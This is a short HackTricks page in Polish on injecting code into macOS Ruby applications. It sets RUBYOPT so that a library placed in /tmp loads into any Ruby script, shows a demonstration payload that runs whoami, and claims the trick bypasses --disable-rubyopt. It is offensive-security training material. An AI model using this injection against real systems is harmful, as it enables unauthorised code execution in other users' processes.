959 B

macOS Ruby Applications Injection

{{#include ../../../banners/hacktricks-training.md}}

RUBYOPT

Używając tej zmiennej środowiskowej, można dodać nowe parametry do ruby za każdym razem, gdy jest uruchamiane. Chociaż parametr -e nie może być użyty do określenia kodu ruby do wykonania, możliwe jest użycie parametrów -I i -r do dodania nowego folderu do ścieżki ładowania bibliotek, a następnie określenie biblioteki do załadowania.

Utwórz bibliotekę inject.rb w /tmp:

puts `whoami`

Utwórz gdziekolwiek skrypt ruby, taki jak:

puts 'Hello, World!'

Następnie załaduj go za pomocą dowolnego skryptu ruby:

RUBYOPT="-I/tmp -rinject" ruby hello.rb

Ciekawostka, działa nawet z parametrem --disable-rubyopt:

RUBYOPT="-I/tmp -rinject" ruby hello.rb --disable-rubyopt

{{#include ../../../banners/hacktricks-training.md}}